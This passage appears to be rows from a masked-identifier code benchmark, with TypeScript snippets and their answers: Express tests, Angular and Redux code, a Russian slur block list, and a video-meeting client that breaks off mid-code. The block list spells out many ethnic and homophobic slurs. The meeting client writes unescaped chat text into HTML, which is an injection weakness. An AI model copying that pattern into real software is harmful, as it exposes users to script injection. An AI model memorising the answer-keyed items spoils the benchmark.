			expect(server.get).toBeCalledTimes(1);
			expect(server.get).toBeCalledWith(
				'/healthcheck',
				expect.any(Function)
			);
		});

		it('sets response status code as 200', () => {
			// Given 
			const server = express();
			healthcheck(server);
			const routeFn = (server.get as jest.Mock).mock.calls[0][1];

			// When
			routeFn(null, responseMock);

			// Then
			expect(responseMock.status).toBeCalledTimes(1);
			expect(responseMock.status).toBeCalledWith(200);
		});

		it('sets response body successful', () => {
			// Given 
			const server = express();
			healthcheck(server);
			const routeFn = (server.get as jest.Mock).mock.calls[0][1];

			// When
			routeFn(null, responseMock);

			// Then
			expect(responseMock.send).toBeCalledTimes(1);
			expect(responseMock.send).toBeCalledWith('Server up and running');
		});
	});

	describe('POST /healthcheck endpoint', () => {
		it('gets added to express routing', () => {
			// Given
			const server = express(),
				 [MASK]  = 'bodyParser';
			(express.text as jest.Mock).mockReturnValue( [MASK] );

			// When
			healthcheck(server);

			// Then
			expect(server.post).toBeCalledTimes(1);
			expect(server.post).toBeCalledWith(
				'/healthcheck',
				 [MASK] ,
				expect.any(Function)
			);
		});

		it('treats request body as raw text', () => {
			// Given
			const server = express();

			// When
			healthcheck(server);

			// Then
			expect(express.text).toBeCalledTimes(1);
		});

		it('sets response status code as 200', () => {
			// Given 
			const server = express();
			healthcheck(server);
			const routeFn = (server.post as jest.Mock).mock.calls[0][2];

			// When
			routeFn(requestMock, responseMock);

			// Then
			expect(responseMock.status).toBeCalledTimes(1);
			expect(responseMock.status).toBeCalledWith(200);
		});

		it('sets response body successful', () => {
			// Given 
			const server = express();
			healthcheck(server);
			const routeFn = (server.post as jest.Mock).mock.calls[0][2];

			// When
			routeFn(requestMock, responseMock);

			// Then
			expect(responseMock.send).toBeCalledTimes(1);
			expect(responseMock.send).toBeCalledWith('Server up and running, Mr/Ms: ' + requestMock.body);
		});
	});
});",expectedBodyParser
361,"import List = require('../onejs/List');
import ViewModel = require('../onejs/ViewModel');
import ToggleSwitchModel = require('../ToggleSwitch/ToggleSwitchModel');
import RepeaterModel = require('../Repeater/RepeaterModel');
import RatingTemplate = require('../RatingTemplate/RatingTemplate');
import RatingTemplateModel = require('../RatingTemplate/RatingTemplateModel');
import RatingModel = require('../Rating/RatingModel');

// min inclusive, max exclusive
function getRandomInt(min, max) {
    return Math.floor(Math.random() * (max - min)) + min;
}

class AppRootModel extends ViewModel {
    toggle = new ToggleSwitchModel({ title: ""Type here"" });

    repeater = new RepeaterModel({
        template: function (item) {
            var view = new RatingTemplate(new RatingTemplateModel({
                ratingModel: new RatingModel({ userRating: item })
            }));
            var  [MASK]  = view.render();
            view.activate();
            return  [MASK] ;
        },
        data: new WinJS.Binding.List()
    });

    addRating() {
        this.repeater.data.push(getRandomInt(0, 6));
    }
}

export = AppRootModel;",element
362,"import { Component, OnInit } from '@angular/core';
import { Observable, Subscriber } from 'rxjs';

@Component({
  selector: 'app-convertimg',
  templateUrl: './convertimg.component.html',
  styleUrls: ['./convertimg.component.scss']
})
export class ConvertimgComponent implements OnInit {
  url: any = """";
  constructor() { }

  ngOnInit(): void {
  }
  //lay file tu may tinh
  onFileSelected(e: any) {//a function
    if (e.target.files) {
      var reader = new FileReader();
      reader.readAsDataURL(e.target.files[0]);
      reader.onload = (event: any) => {
        this.url = event.target.result;
      }
    }
  }
  //lay file tu may tinh va chuyen thanh base64
  myImage!: Observable<any>;

  base64code!: any;
  //function khi click choose file
  onChange = ($event: Event) => {
    const target = $event.target as HTMLInputElement;

    const file: File = (target.files as FileList)[0];

    console.log(file);//in ra ten hinh anh da chon

    this.convertToBase64(file);
  }

  convertToBase64(file: File) {
    const  [MASK]  = new Observable((subscriber: Subscriber<any>) => {
      this.readFile(file, subscriber)
    })

     [MASK] .subscribe((d)=>{
        console.log(d)
        this.myImage = d
        this.base64code = d
    })
  }

  readFile(file: File, subscriber: Subscriber<any>) {
    const filereader = new FileReader();//đặt biến toàn bộ là chữ thường

    filereader.readAsDataURL(file);

    filereader.onload = () => {
      subscriber.next(filereader.result);

      subscriber.complete();
    }

    filereader.onerror =() => {
      subscriber.error()
      subscriber.complete()
    }
  }
}
",observable
363,"/* eslint-disable import/prefer-default-export */
import axios, { AxiosResponse } from ""axios"";
import { DeviceTracker } from ""../services/AppModel"";
import { services } from ""../services/ServiceLocatorClient"";

type GetDeviceTrackerResponse = {
  deviceTrackers: DeviceTracker[];
};

export async function getDeviceTrackerData(): Promise<DeviceTracker[]> {
  const endpoint = services().getUrlManager().getDeviceTrackerData();
  const response: AxiosResponse = await axios.get<GetDeviceTrackerResponse>(
    endpoint
  );
  return response.data.deviceTrackers;
}

export async function changeDeviceName( [MASK] : string, name: string) {
  const endpoint = services().getUrlManager().deviceNameUpdate( [MASK] );
  const postBody = { name };
  const response: AxiosResponse = await axios.post(endpoint, postBody);
  return response.status === 200;
}
",deviceUID
364,"import { createApi, fetchBaseQuery } from ""@reduxjs/toolkit/query/react"";

interface GetUserByIdResults {
  id: number;
  name: string;
  username: string;
  email: string;
  address: {
    street: string;
    suite: string;
    city: string;
    zipcode: string;
    geo: {
      lat: string;
      lng: string;
    };
  };
  phone: string;
  website: string;
  company: {
    name: string;
    catchPhrase: string;
    bs: string;
  };
}

interface GetPostByIdResults {
  userId: number;
  id: number;
  title: string;
  body: string;
}

export const jsonPlaceholderApi = createApi({
  reducerPath: ""json_placeholder"",
  keepUnusedDataFor: 60,
  baseQuery: fetchBaseQuery({
    baseUrl: ""https://jsonplaceholder.typicode.com/"",
  }),
  endpoints: ( [MASK] ) => ({
    getUserById:  [MASK] .query<GetUserByIdResults, string>({
      query: (id) => `users/${id}`,
    }),
    getPostById:  [MASK] .query<GetPostByIdResults, string>({
      query: (id) => `posts/${id}`,
    }),
  }),
});

export const { useGetUserByIdQuery, useGetPostByIdQuery } = jsonPlaceholderApi;
",builder
365,"/*
 * Licensed to The Apereo Foundation under one or more contributor license
 * agreements. See the NOTICE file distributed with this work for additional
 * information regarding copyright ownership.
 *
 * The Apereo Foundation licenses this file to you under the Apache License,
 * Version 2.0, (the ""License""); you may not use this file except in compliance
 * with the License. You may obtain a copy of the License at:
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an ""AS IS"" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
import * as OEQ from '../src';
import * as TC from './TestConfig';
import { BatchOperationResponse } from '../src/BatchOperationResponse';
import { MimeTypeFilter } from '../src/SearchFilterSettings';

beforeAll(() => OEQ.Auth.login(TC.API_PATH, TC.USERNAME, TC.PASSWORD));
afterAll(() => OEQ.Auth.logout(TC.API_PATH, true));

describe('SearchFilterSettings', () => {
  let filterSettingsAtStart: MimeTypeFilter[];

  const isString = (value: unknown): value is string =>
    typeof value === 'string';

  const getIds = (mimeTypes: MimeTypeFilter[]): string[] =>
    mimeTypes.map(({ id }) => id).filter((id) => isString(id)) as string[];

  const newFilterSettingsData = [
    {
      name: 'filter1',
      mimeTypes: ['image/png'],
    },
    {
      name: 'filter2',
      mimeTypes: ['video/mp4'],
    },
  ];

  const createNewFilterSettings = async (): Promise<
    BatchOperationResponse[]
  > => {
    return OEQ.SearchFilterSettings.batchUpdateSearchFilterSetting(
      TC.API_PATH,
      newFilterSettingsData
    );
  };

  beforeAll(async () => {
    filterSettingsAtStart =
      await OEQ.SearchFilterSettings.getSearchFilterSettings(TC.API_PATH);
  });

  // Clear all filters which were not present at the start of the test.
  afterEach(async () => {
    const filterSettingsAtEnd =
      await OEQ.SearchFilterSettings.getSearchFilterSettings(TC.API_PATH);

    const start_ids = getIds(filterSettingsAtStart);
    const end_ids = getIds(filterSettingsAtEnd);

    const ids = end_ids.filter((id) => !start_ids.includes(id));
    await OEQ.SearchFilterSettings.batchDeleteSearchFilterSetting(
      TC.API_PATH,
      ids
    );
  });

  it('Should be possible to retrieve the filter settings', () =>
    expect(filterSettingsAtStart).toBeTruthy());

  it('Should be possible to create a batch of the filter settings', async () => {
    // Create new filters
    await createNewFilterSettings();
    const allFilterSettings =
      await OEQ.SearchFilterSettings.getSearchFilterSettings(TC.API_PATH);
    expect(allFilterSettings).toHaveLength(
      filterSettingsAtStart.length + newFilterSettingsData.length
    );
  });

  it('Should be possible to update a batch of the filter settings', async () => {
    // Create new filter settings
    const responses = await createNewFilterSettings();
    // Get new filter ids and create update data
    const ids = responses.map(({ id }) => id);
    const updateFilterSettingsData = [
      {
        id: ids[0],
        name: 'filter1-new-name',
        mimeTypes: ['image/png', 'video/mp4'],
      },
      {
        id: ids[1],
        name: 'filter2-new-name',
        mimeTypes: ['image/png'],
      },
    ];

    // update filters
    await OEQ.SearchFilterSettings.batchUpdateSearchFilterSetting(
      TC.API_PATH,
      updateFilterSettingsData
    );
    const updatedFilterSettings =
      await OEQ.SearchFilterSettings.getSearchFilterSettings(TC.API_PATH);
    expect(updatedFilterSettings).toEqual(updateFilterSettingsData);
  });

  it('Should be possible to delete a batch of the filter settings', async () => {
    // Create new filter settings
    const responses = await createNewFilterSettings();
    const ids = responses.map(({ id }) => id);

    // Delete filters
    await OEQ.SearchFilterSettings.batchDeleteSearchFilterSetting(
      TC.API_PATH,
      ids
    );
    const  [MASK]  =
      await OEQ.SearchFilterSettings.getSearchFilterSettings(TC.API_PATH);
    expect( [MASK] ).toHaveLength(filterSettingsAtStart.length);
  });
});
",finalFilterSettings
366,"const forbiddenWords = [
  ""педерастический"",
  ""однодырочники"",
  ""педерастина"",
  ""пиндостанцы"",
  ""говносерка"",
  ""живоглотка"",
  ""педерастия"",
  ""ускоглазый"",
  ""черножопые"",
  ""черножопый"",
  ""чернозадый"",
  ""черномазый"",
  ""азуроебам"",
  ""дегенерат"",
  ""пидораска"",
  ""пиндостан"",
  ""говномес"",
  ""зигхайль"",
  ""педераси"",
  ""педераст"",
  ""педеруга"",
  ""пидарасы"",
  ""пиндосов"",
  ""черножоп"",
  ""чернозад"",
  ""черномаз"",
  ""азуроеб"",
  ""говноёб"",
  ""гомосек"",
  ""долбаеб"",
  ""жидовня"",
  ""опездал"",
  ""педерас"",
  ""педиков"",
  ""педобир"",
  ""педрила"",
  ""педрило"",
  ""пидарас"",
  ""пидрило"",
  ""пиндосы"",
  ""циганин"",
  ""пидор"",
  ""волоеб"",
  ""даунит"",
  ""жидяра"",
  ""ниггер"",
  ""педики"",
  ""педрил"",
  ""пидарг"",
  ""пидары"",
  ""пидоры"",
  ""пидрик"",
  ""пидрил"",
  ""пиндос"",
  ""сучара"",
  ""сучары"",
  ""уебаны"",
  ""хачами"",
  ""гомик"",
  ""гомос"",
  ""жидам"",
  ""жидах"",
  ""жидов"",
  ""жидяр"",
  ""калич"",
  ""курва"",
  ""нигга"",
  ""нигер"",
  ""нигро"",
  ""педик"",
  ""пидер"",
  ""сукой"",
  ""уебак"",
  ""уебищ"",
  ""уебки"",
  ""хачам"",
  ""хачар"",
  ""хачах"",
  ""хачей"",
  ""хачик"",
  ""хачил"",
  ""хачом"",
  ""пидар"",
  ""eблaн"",
  ""жида"",
  ""жиде"",
  ""жиду"",
  ""педр"",
  ""пидр"",
  ""сука"",
  ""Cука"",
  ""суки"",
  ""хача"",
  ""хаче"",
  ""хачи"",
  ""чурк"",
  ""pidaras"",
  ""pidoras"",
  ""жид"",
  ""хач"",
  ""pedik"",
  ""pidar"",
  ""pidor"",
  ""cyka"",
  ""pido"",
  ""suka"",
  ""выблядки"",
  ""далбаеб"",
  ""долбаёб"",
  ""долбоебы"",
  ""долбоёбы"",
  ""пидрила"",
  ""хуеплет"",
  ""дoлбaёб"",
  ""ослаеб"",
  ""уебан"",
  ""dolbaeb"",
  ""xyecoc"",
  ""хуеплеты"",
  ""чмо"",
  ""хуй"",
  ""пизда"",
  ""Пирадасина"",
];

const forbiddenPattern = forbiddenWords.map(( [MASK] ) => `(?:${ [MASK] })`).join(""|"");

const patternText = new RegExp(
  `^(?!.*(?:${forbiddenPattern})).*[a-zA-Zа-яА-ЯёЁ\\s]+$`
);

export default patternText;
",word
367,"import {
  ConnectionQuality,
  ConnectionState,
  DataPacket_Kind,
  DisconnectReason,
  LocalParticipant,
  LogLevel,
  MediaDeviceFailure,
  Participant,
  ParticipantEvent,
  RemoteParticipant,
  RemoteTrackPublication,
  RemoteVideoTrack,
  Room,
  RoomConnectOptions,
  RoomEvent,
  RoomOptions,
  setLogLevel,
  Track,
  TrackPublication,
  VideoCaptureOptions,
  VideoCodec,
  VideoPresets,
  VideoQuality,
} from '../src/index';
import Dropzone from ""dropzone"";
import Swal from ""sweetalert2"";
import SimpleBar from ""simplebar"";
import { Buffer } from ""buffer"";
import fscreen from ""fscreen"";


const $ = (id: string) => document.getElementById(id);
const API_URL = ""https://meeting.fptonline.net"";
const WSS_URL = ""wss://wss-meeting.fptonline.net"";
const isMobile = /Mobile|Android|iP(hone|od)|IEMobile|BlackBerry|Kindle|Silk-Accelerated|(hpw|web)OS|Opera M(obi|ini)/.test(navigator.userAgent);
let readyRecieveNotify = false;

// register service worker
if (""serviceWorker"" in navigator) {
  window.addEventListener(""load"", function() {
      navigator.serviceWorker.register(""/sw.js"").then(function(registration) {
          // console.log(""ServiceWorker registration successful with scope: "", registration.scope);
      }, function(err) {
          // console.log(""ServiceWorker registration failed: "", err);
      });
  });       
}

// PWA
// let defferedPrompt: any;
// window.addEventListener('beforeinstallprompt', event => {
//     event.preventDefault();
//     defferedPrompt = event;
//     Swal.fire({
//       title: 'Install FO Meeting app',
//       text: ""Click install in the next prompt to add a shortcut to your desktop screen."",
//       showCancelButton: true,
//       confirmButtonColor: '#3085d6',
//       confirmButtonText: 'Yes',
//       cancelButtonText: 'Not now',
//       heightAuto: false,
//       background: '#292c3d',
//     }).then((result) => {
//       if (result.isConfirmed) {
//         defferedPrompt.prompt();
//         defferedPrompt.userChoice.then((choice: any) => {
//             if(choice.outcome === 'accepted'){
//               console.log('user accepted the prompt')
//             }
//             defferedPrompt = null;
//         });
//       }
//     })
// });

// upload avatar
let localAvatar: string|null;
let localName: string|null;
const dropzoneElm = <HTMLElement>document.querySelector("".dz-upload-avatar"");
if (dropzoneElm) {
  const avatarUploader = new Dropzone(dropzoneElm, {
      url: ""/upload-avatar"",
      maxFiles: 1,
      uploadMultiple: false,
      acceptedFiles: ""image/*"",
      resizeWidth: 500,
      resizeHeight: 500,
      resizeQuality: 1,
      createImageThumbnails: false,
      previewsContainer: false,
      clickable: "".box-upload-file""
  });
  avatarUploader.on(""error"", (file: any, message: any) => {
    avatarUploader.removeAllFiles(true);
    Swal.fire({
      title: 'Error',
      text: 'Upload error. Please try again',
      showCancelButton: false,
      confirmButtonColor: '#0E78F9',
      cancelButtonColor: '#292C3D',
      confirmButtonText: 'Ok',
      showCloseButton: true,
      heightAuto: false,
      background: '#292c3d',
    });
    console.log(`upload error: ${file.name} - ${message}`);
  });
  avatarUploader.on(""success"", (file: any) => {
      console.log(file);
      let res = JSON.parse(file.xhr?.response);
      if (res.status == 1) {
        localAvatar = res.message;
        const avatar = <HTMLDivElement>document.querySelector(""#joinPage .box-avatar"");
        avatar.innerHTML = `<img src=""${res.message}"" alt="""">`;

        localStorage.setItem(""avatar"", res.message);
      } else {
        Swal.fire({
          title: 'Error',
          text: 'Upload error. Please try again',
          showCancelButton: false,
          confirmButtonColor: '#0E78F9',
          cancelButtonColor: '#292C3D',
          confirmButtonText: 'Ok',
          showCloseButton: true,
          heightAuto: false,
          background: '#292c3d',
        });
        console.log(""upload error:"", res);
      }
      avatarUploader.removeAllFiles(true);
  });
}
localAvatar = localStorage.getItem(""avatar"");
if (localAvatar) {
    const avatar = <HTMLDivElement>document.querySelector(""#joinPage .box-avatar"");
    if (avatar) {
      avatar.innerHTML = `<img src=""${localAvatar}"" alt="""">`;
    }
    localAvatar = localAvatar;
}
localName = localStorage.getItem(""name"");

// join page
let joinMic = false;
let joinCam = false;
let joinMicButton = <HTMLButtonElement>$(""btnJoinMic"");
let joinCamButton = <HTMLButtonElement>$(""btnJoinCam"");
joinMicButton?.addEventListener(""click"", (e) => {
  if (joinMicButton && joinMicButton.innerHTML == '<i class=""icon-Voiceoff""></i>') {
    joinMic = true;
    joinMicButton.innerHTML = '<i class=""icon-Voice""></i>';
  } else {
    joinMic = false;
    joinMicButton.innerHTML = '<i class=""icon-Voiceoff""></i>';
  }
});
joinCamButton?.addEventListener(""click"", (e) => {
  if (joinCamButton && joinCamButton.innerHTML == '<i class=""icon-Video""></i>') {
    joinCam = false;
    joinCamButton.innerHTML = '<i class=""icon-Videooff""></i>';
  } else {
    joinCam = true;
    joinCamButton.innerHTML = '<i class=""icon-Video""></i>';
  }
});

// room
const state = {
  isFrontFacing: false,
  encoder: new TextEncoder(),
  decoder: new TextDecoder(),
  defaultDevices: new Map<MediaDeviceKind, string>(),
  bitrateInterval: undefined as any,
  layout: 1,
  raiseHand: false
};
let currentRoom: Room | undefined;
let startTime: number;

const nameInputElm = <HTMLInputElement>document.querySelector('input[name=""name""]');
const roomInputElm = <HTMLInputElement>document.querySelector('input[name=""room""]');
const roomPasscodeElm = <HTMLInputElement>document.querySelector('input[name=""room-passcode""]');
if (localName) {
  if (nameInputElm) {
    nameInputElm.value = localName;
  }
  if (roomInputElm) {
    roomInputElm.focus();
  } else if (roomPasscodeElm) {
    roomPasscodeElm.focus();
  } else {
    (<HTMLButtonElement>$(""btnJoin""))?.focus();
  }
}
nameInputElm?.addEventListener(""keyup"", function (e: any) {
  if (e.key === 'Enter' || e.keyCode === 13) {
    appActions.connectWithFormInput();
  }
});
roomInputElm?.addEventListener(""keyup"", function (e: any) {
  if (e.key === 'Enter' || e.keyCode === 13) {
    appActions.connectWithFormInput();
  }
});
roomPasscodeElm?.addEventListener(""keyup"", function (e: any) {
  if (e.key === 'Enter' || e.keyCode === 13) {
    appActions.connectWithFormInput();
  }
});

// handles actions from the HTML
const appActions = {
  connectWithFormInput: async () => {
    const btnJoin = <HTMLButtonElement>$(""btnJoin"");
    const storedRoom = location.pathname.replace(/^\//g, """");
    const userName = nameInputElm.value;
    const roomName = roomInputElm ? roomInputElm.value : storedRoom;
    
    btnJoin.setAttribute('disabled', 'true');
    btnJoin.innerHTML = ""JOINING..."";
    if (!roomName || !userName) {
      btnJoin.innerHTML = ""JOIN"";
      btnJoin.removeAttribute('disabled');
      Swal.fire({
        title: 'Notify',
        text: 'Please provide your name and room name',
        showCancelButton: false,
        confirmButtonColor: '#0E78F9',
        cancelButtonColor: '#292C3D',
        confirmButtonText: 'Ok',
        showCloseButton: true,
        heightAuto: false,
        background: '#292c3d',
      });
      return;
    }
    localStorage.setItem(""name"", userName);

    let dataPost: any = {
      ""user_name"": userName,
      ""avatar"": localAvatar,
      ""room"": roomName,
      ""create"": false
    };
    if (storedRoom == """") {
      dataPost.create = true;
    }
    const roomPasscode = roomPasscodeElm?.value;
    if (roomPasscode && roomPasscode != """") {
      dataPost.passcode = roomPasscode;
    }
    const uii = localStorage.getItem(""uii"");
    if (uii) {
      dataPost.uii = uii;
    }
    const token = await fetch(`${API_URL}/api/get-join-token`, {
      method: 'POST',
      cache: 'no-cache',
      headers: {
        'Content-Type': 'application/json'
      },
      body: JSON.stringify(dataPost)
    }).then(
      async (result) => {
        const {
          token,
          room,
          uii,
          error,
          message
        } = await result.json();

        if (error == 1) {
          Swal.fire({
            title: 'Notify',
            text: message,
            showCancelButton: false,
            confirmButtonColor: '#0E78F9',
            cancelButtonColor: '#292C3D',
            confirmButtonText: 'Ok',
            showCloseButton: true,
            heightAuto: false,
            background: '#292c3d',
          });
          return;
        }
        
        console.log(""get-join-token"", token);
        window.history.replaceState(null, '', `/${room}`);
        if (uii) {
          localStorage.setItem(""uii"", uii);
        }

        return token;
      }
    ).catch(() => {
      btnJoin.innerHTML = ""JOIN"";
      btnJoin.removeAttribute('disabled');
    });

    if (token == null) {
      btnJoin.innerHTML = ""JOIN"";
      btnJoin.removeAttribute('disabled');
      return;
    }

    const simulcast = true;
    const forceTURN = false;
    const shouldPublish = true;
    const preferredCodec = """" as VideoCodec;

    setLogLevel(LogLevel.debug);

    const roomOpts: RoomOptions = {
      // adaptiveStream
      adaptiveStream: true,
      dynacast: true,
      publishDefaults: {
        simulcast,
        videoSimulcastLayers: [VideoPresets.h90, VideoPresets.h216],
        videoCodec: preferredCodec || 'vp8',
      },
      videoCaptureDefaults: {
        resolution: VideoPresets.h720.resolution,
      },
    };

    const connectOpts: RoomConnectOptions = {
      autoSubscribe: true,
    };
    if (forceTURN) {
      connectOpts.rtcConfig = {
        iceTransportPolicy: 'relay',
      };
    }
    await appActions.connectToRoom(WSS_URL, token, roomOpts, connectOpts, shouldPublish);
    
    state.bitrateInterval = setInterval(renderBitrate, 1000);
  },

  connectToRoom: async (
    url: string,
    token: string,
    roomOptions?: RoomOptions,
    connectOptions?: RoomConnectOptions,
    shouldPublish?: boolean,
  ): Promise<Room | undefined> => {
    const room = new Room(roomOptions);

    startTime = Date.now();
    await room.prepareConnection(url);
    const prewarmTime = Date.now() - startTime;
    appendLog(`prewarmed connection in ${prewarmTime}ms`);

    room
      .on(RoomEvent.ParticipantConnected, participantConnected)
      .on(RoomEvent.ParticipantDisconnected, participantDisconnected)
      .on(RoomEvent.DataReceived, handleData)
      .on(RoomEvent.Disconnected, handleRoomDisconnect)
      .on(RoomEvent.Reconnecting, () => appendLog('Reconnecting to room'))
      .on(RoomEvent.Reconnected, () => {
        appendLog('Successfully reconnected. server', room.engine.connectedServerAddress);
      })
      .on(RoomEvent.LocalTrackPublished, () => {
        renderParticipant(room.localParticipant);
        updateButtonsForPublishState();
        renderScreenShare(room);
      })
      .on(RoomEvent.LocalTrackUnpublished, () => {
        renderParticipant(room.localParticipant);
        updateButtonsForPublishState();
        renderScreenShare(room);

        let screenShare = (<HTMLDivElement>$(`screenshare-wrapper-${room.localParticipant.identity}`));
        if (screenShare) {
          screenShare.remove();
          handleLayouts();
        }
      })
      .on(RoomEvent.DataReceived, (data) => {
        appendLog('new data received for room', data);

        const jsonString = Buffer.from(data).toString('utf8');
        try {
          const parsedData = JSON.parse(jsonString);
          if (parsedData) {
            if (typeof parsedData.toggle_camera == ""boolean"") {
              appActions.toggleVideo();
            }
            if (typeof parsedData.off_screenshare == ""boolean"") {
              appActions.shareScreen();
            }
          }
        } catch (ex) {

        }
      })
      .on(RoomEvent.RoomMetadataChanged, (metadata) => {
        appendLog('new metadata for room', metadata);
      })
      .on(RoomEvent.MediaDevicesChanged, handleDevicesChanged)
      .on(RoomEvent.AudioPlaybackStatusChanged, () => {
        if (room.canPlaybackAudio) {
          $('start-audio-button')?.setAttribute('disabled', 'true');
        } else {
          $('start-audio-button')?.removeAttribute('disabled');
        }
      })
      .on(RoomEvent.MediaDevicesError, (e: Error) => {
        const failure = MediaDeviceFailure.getFailure(e);
        appendLog('media device failure', failure);
      })
      .on(
        RoomEvent.ConnectionQualityChanged,
        (quality: ConnectionQuality, participant?: Participant) => {
          appendLog('connection quality changed', participant?.name, quality);
        },
      )
      .on(RoomEvent.TrackSubscribed, (_1, pub, participant) => {
        appendLog('subscribed to track', pub.trackSid, participant.identity);
        renderParticipant(participant);
        renderScreenShare(room);
      })
      .on(RoomEvent.TrackUnsubscribed, (_, pub, participant) => {
        appendLog('unsubscribed from track', pub.trackSid);
        renderParticipant(participant);
        renderScreenShare(room);

        let screenShare = (<HTMLDivElement>$(`screenshare-wrapper-${participant.identity}`));
        if (screenShare) {
          screenShare.remove();
          handleLayouts();
        }
      })
      .on(RoomEvent.SignalConnected, async () => {
        const  [MASK]  = Date.now() - startTime;
        appendLog(`signal connection established in ${ [MASK] }ms`);
        if (shouldPublish) {
          await Promise.all([
            room.localParticipant.setCameraEnabled(joinCam),
            room.localParticipant.setMicrophoneEnabled(joinMic),
          ]);
          updateButtonsForPublishState();
          startCountTimer();
          if (joinMic) {
            acquireDeviceList(""audio-input"");
            acquireDeviceList(""audio-output"");
          }
          if (joinCam) {
            acquireDeviceList(""video-input"");
          }
        }
      });

    try {
      await room.connect(url, token, connectOptions);
      const elapsed = Date.now() - startTime;
      appendLog(
        `successfully connected to ${room.name} in ${Math.round(elapsed)}ms`,
        room.engine.connectedServerAddress,
      );

      initRoom();
    } catch (error: any) {
      let message: any = error;
      if (error.message) {
        message = error.message;
      }
      appendLog('could not connect:', message);
      const btnJoin = <HTMLButtonElement>$(""btnJoin"");
      btnJoin.innerHTML = ""JOIN"";
      btnJoin.removeAttribute('disabled');

      Swal.fire({
        title: 'Error',
        text: 'Could not connect. Please try again',
        showCancelButton: false,
        confirmButtonColor: '#0E78F9',
        cancelButtonColor: '#292C3D',
        confirmButtonText: 'Ok',
        showCloseButton: true,
        heightAuto: false,
        background: '#292c3d',
      }).then(() => {
        window.location.reload();
      });

      return;
    }
    currentRoom = room;
    window.currentRoom = room;
    setButtonsForState(true);
    updateButtonsForPublishState();

    room.participants.forEach((participant) => {
      participantConnected(participant);
    });
    participantConnected(room.localParticipant);

    return room;
  },

  toggleAudio: async () => {
    if (!currentRoom) return;
    const enabled = currentRoom.localParticipant.isMicrophoneEnabled;
    setButtonDisabled('toggle-audio-button', true);
    if (enabled) {
      appendLog('disabling audio');
    } else {
      appendLog('enabling audio');
    }
    await currentRoom.localParticipant.setMicrophoneEnabled(!enabled);
    setButtonDisabled('toggle-audio-button', false);
    updateButtonsForPublishState();
    acquireDeviceList(""audio-input"");
    acquireDeviceList(""audio-output"");
  },

  toggleVideo: async () => {
    if (!currentRoom) return;
    setButtonDisabled('toggle-video-button', true);
    const enabled = currentRoom.localParticipant.isCameraEnabled;
    if (enabled) {
      appendLog('disabling video');
    } else {
      appendLog('enabling video');
    }
    await currentRoom.localParticipant.setCameraEnabled(!enabled);
    setButtonDisabled('toggle-video-button', false);
    renderParticipant(currentRoom.localParticipant);

    // update display
    updateButtonsForPublishState();
    acquireDeviceList(""video-output"");
  },

  flipVideo: () => {
    const videoPub = currentRoom?.localParticipant.getTrack(Track.Source.Camera);
    if (!videoPub) {
      return;
    }
    if (state.isFrontFacing) {
      setButtonState('flip-video-button', 'Front Camera', false);
    } else {
      setButtonState('flip-video-button', 'Back Camera', false);
    }
    state.isFrontFacing = !state.isFrontFacing;
    const options: VideoCaptureOptions = {
      resolution: VideoPresets.h720.resolution,
      facingMode: state.isFrontFacing ? 'user' : 'environment',
    };
    videoPub.videoTrack?.restartTrack(options);
  },

  shareScreen: async () => {
    if (!currentRoom) return;

    const enabled = currentRoom.localParticipant.isScreenShareEnabled;
    appendLog(`${enabled ? 'stopping' : 'starting'} screen share`);
    setButtonDisabled('share-screen-button', true);
    try {
      await currentRoom.localParticipant.setScreenShareEnabled(!enabled, { audio: true });
    } catch (error) {
      console.log(""share screen error: "", error);
      if (error instanceof Error && error.message != ""Permission denied"") {
        Swal.fire({
          title: 'Warning',
          text: `${error}`,
          showCancelButton: false,
          confirmButtonColor: '#0E78F9',
          cancelButtonColor: '#292C3D',
          confirmButtonText: 'Ok',
          showCloseButton: true,
          heightAuto: false,
          background: '#292c3d',
        });
      }
    }
    setButtonDisabled('share-screen-button', false);
    updateButtonsForPublishState();

    if (enabled) {
      (<HTMLDivElement>$(`screenshare-wrapper-${currentRoom.localParticipant.identity}`))?.remove();
      handleLayouts();
    }
  },

  startAudio: () => {
    currentRoom?.startAudio();
  },

  enterText: () => {
    if (!currentRoom) return;
    const textField = <HTMLInputElement>$('entry');
    if (textField.value) {
      const msg = state.encoder.encode(textField.value);
      currentRoom.localParticipant.publishData(msg, DataPacket_Kind.RELIABLE);
      const dateNow = new Date;
      let text = textField.value;
      if (/[(http(s)?):\/\/(www\.)?a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b([-a-zA-Z0-9@:%_\+.~#?&//=]*)/.test(text)) {
        text = `<a href=""${text}"" target=""_blank"">${text}<svg width=""14"" height=""14""><use xlink:href=""#ExternalLink""></use></svg></a>`;
      }
      
      const chatTemplate = `
      <div class=""box-chat__inner wrap-mess reply"">
        <div class=""box-chat__inner head"">
          <span class=""time"">${dateNow.getHours()}:${dateNow.getMinutes()}</span>
        </div>
        <div class=""box-chat__inner content"">
          <div class=""box-messenger"">
            <div class=""messenger"">${text}</div>
          </div>
          <span class=""user-seen"">
            <i class=""icon-checkcircle""></i>
          </span>
        </div>
      </div>`;

      const chatMessageElm = <HTMLDivElement>$('chat-message');
      chatMessageElm.insertAdjacentHTML(""beforeend"", chatTemplate);
      textField.value = '';
      if (chatMessageElm.parentElement) {
        chatMessageElm.parentElement.scrollTop = chatMessageElm.scrollHeight;
      }
    }

    return false;
  },

  disconnectRoom: () => {
    if (currentRoom) {
      currentRoom.disconnect();
    }
    if (state.bitrateInterval) {
      clearInterval(state.bitrateInterval);
    }
  },

  handleScenario: (e: Event) => {
    const scenario = (<HTMLSelectElement>e.target).value;
    if (scenario !== '') {
      currentRoom?.simulateScenario(scenario);
      (<HTMLSelectElement>e.target).value = '';
    }
  },

  handleDeviceSelected: async (e: Event) => {
    const deviceId = (<HTMLSelectElement>e.target).value;
    const elementId = (<HTMLSelectElement>e.target).id;
    const kind = elementMapping[elementId];
    if (!kind) {
      return;
    }

    state.defaultDevices.set(kind, deviceId);

    if (currentRoom) {
      await currentRoom.switchActiveDevice(kind, deviceId);
    }
  },

  handlePreferredQuality: (e: Event) => {
    const quality = (<HTMLSelectElement>e.target).value;
    let q = VideoQuality.HIGH;
    switch (quality) {
      case 'low':
        q = VideoQuality.LOW;
        break;
      case 'medium':
        q = VideoQuality.MEDIUM;
        break;
      case 'high':
        q = VideoQuality.HIGH;
        break;
      default:
        break;
    }
    if (currentRoom) {
      currentRoom.participants.forEach((participant) => {
        participant.tracks.forEach((track) => {
